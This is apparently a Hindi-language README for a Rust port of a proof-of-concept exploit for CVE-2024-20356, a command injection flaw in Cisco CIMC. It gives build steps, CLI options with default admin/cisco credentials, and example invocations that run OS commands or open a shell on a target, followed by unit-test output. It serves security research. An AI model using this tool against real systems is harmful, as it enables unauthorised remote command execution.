
https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py का एक oxidized संस्करण
यह CVE-2024-20356 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जो Cisco के CIMC में एक कमांड इंजेक्शन भेद्यता है।
Aaron द्वारा लिखित और SherllyNeo द्वारा ऑक्सिडाइज़ किया गया।
पूर्ण तकनीकी विवरण यहाँ पाया जा सकता है: https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
उदाहरण कमांड:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
पूर्ण उपयोग निर्देशों के लिए --help तर्क का उपयोग करें।
यह प्रूफ ऑफ कॉन्सेप्ट प्रदर्शन उद्देश्यों के लिए है और इसका उपयोग अवैध गतिविधियों के लिए नहीं किया जाना चाहिए। LRQA Nettitude इस कोड के उपयोग या दुरुपयोग से होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं है। बुरा मत बनो।
मैंने इसे सर्वर तक पहुंच के बिना मूल कोड बेस के आधार पर लिखा।
इसके कारण मैंने व्यापक यूनिट परीक्षण लिखे ताकि यह सुनिश्चित हो सके कि एन्क्रिप्शन फ़ंक्शन मूल में पाए गए फ़ंक्शन से मेल खाते हैं। कि लॉगिन विधि मॉक सर्वर का उपयोग करके काम करती है। कि IP पतों के लिए आर्गुमेंट पार्सिंग काम करती है।
इन परीक्षणों को चलाने के लिए, cargo --test का उपयोग करें।
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
मैंने इसे यहाँ रखा क्योंकि मैंने mod.rs का उपयोग करने से बचा और यह दिखाने के लिए कि main, lib के चारों ओर एक पतला आवरण (wrapper) है। यह भविष्य में एकीकरण परीक्षणों की अनुमति देने के लिए है।
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs